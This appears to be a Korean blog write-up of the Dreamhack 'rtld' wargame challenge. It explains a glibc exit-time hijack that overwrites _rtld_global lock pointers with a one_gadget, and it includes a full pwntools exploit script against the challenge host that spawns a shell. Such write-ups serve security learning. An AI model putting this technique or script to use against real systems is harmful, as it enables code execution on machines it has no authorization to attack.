상세 컨텐츠

본문 제목

[Dreamhack] rtld

SYSTEM HACKING/Dreamhack

by koharin 2020. 5. 17. 11:36

본문

728x90
반응형

# 보호기법

 


# process

 

int main()
{
    long addr;
    long value; 

    initialize();

    printf("stdout: %p\n", stdout);

    printf("addr: ");
    scanf("%ld", &addr);

    printf("value: ");
    scanf("%ld", &value);

    *(long *)addr = value;
    return 0;
}               

 

libc leak을 할 수 있고, 특정 addr에 원하는 value를 쓸 수 있다.

Partial RELRO이므로 위의 과정으로 GOT overwrite이 가능하다.

 

exit로 종료되는 경우 rtld를 덮으면 프로그램의 흐름을 변조가 가능하다.

_libc_start_main함수에서 exit를 자동으로 호출해서 프로그램 자체에서 exit를 쓰지 않아도 exit 사용 가능하다.

one_gadget은 조건 맞지 않으면 터지는데 rtld는 인자도 줄 수 있어서 rtld가 획기적이라고 한다.

 

함수 주소 주기 위해서는 _rtld_global._dl_rtld_lock_recursive에 주소를 넣고 _rtld_global._dl_load_lock에 인자를 주면 어떤 경우에도 실행이 된다.

 

 

_rtld_global._dl_rtld_lock_recursive: 함수 주소

_rtld_global._dl_load_lock: 함수 인자

 

 

이 _rtld_global_lock_recursive에는 libc 주소가 적혀있는데, 이 주소를 one gadget으로 덮으면 exit 시 one gadget 실행이 가능하다.

 

_GI_exit 함수는 _run_exit_handlers를 호출하는데,  _run_exit_handlers는 ld.so에 존재하는 _di._fini를 호출한다.

 

void
_dl_fini (void)
{
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* No need to do anything for empty namespaces or those used for
	 auditing DSOs.  */
      if (nloaded == 0
	__rtld_lock_unlock_recursive (GL(dl_load_lock));

 

_di_fini 함수는 _dl_load_lock 인자로 _rtld_lock_lock_recursive 함수를 호출한다.

이 함수와 인자는 _rtld_global 구조체의 멤버이다.

_rtld_global 구조체가 위치한 영역은 쓰기 권한이 있어서 _rtld_lock_lock_recursive 함수를 system으로, _dl_load_lock 인자를 'sh'로 덮어쓸 수 있으면 system('sh') 호출이 가능하다.

_rtld_lock_lock_recursive를 one gadget으로 덮어 one gadget 호출을 할 수도 있다.

 

libc leak이 가능하므로 libc offset을 구해서 libc base + offset으로 실행 시 _rtld_global._dl_rtld_lock_recursive의 정확한 주소를 구해 addr로 주고, value로는 one gadget을 주면 _rtld_global._dl_rtld_lock_recursive에 onegadget을 쓸 수 있다.

 


# exploit code

 

#!/usr/bin/python 
from pwn import *

#p = process("./rtld")
p = remote("host1.dreamhack.games", 8246)
elf = ELF("./rtld")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.recvuntil(": ")
libcBase = int(p.recv(14), 16) - libc.symbols['_IO_2_1_stdout_']
log.info("libcBase : "+hex(libcBase))
rtld = libcBase + 0x5f0f48
one_gadget = libcBase + 0xf1147

#gdb.attach(p)

p.sendlineafter("addr: ", str(rtld))
p.sendlineafter("value: ", str(one_gadget))

p.interactive()

 

# exploit

 


728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[DreamHack] basic_rop_x86  (0) 2020.05.31
[DreamHack] basic_rop_x64  (0) 2020.05.31
[DreamHack] oneshot  (2) 2020.05.31
[DreamHack] ssp_001  (0) 2020.05.31
[Dreamhack] ssp_000  (0) 2020.05.31

관련글 더보기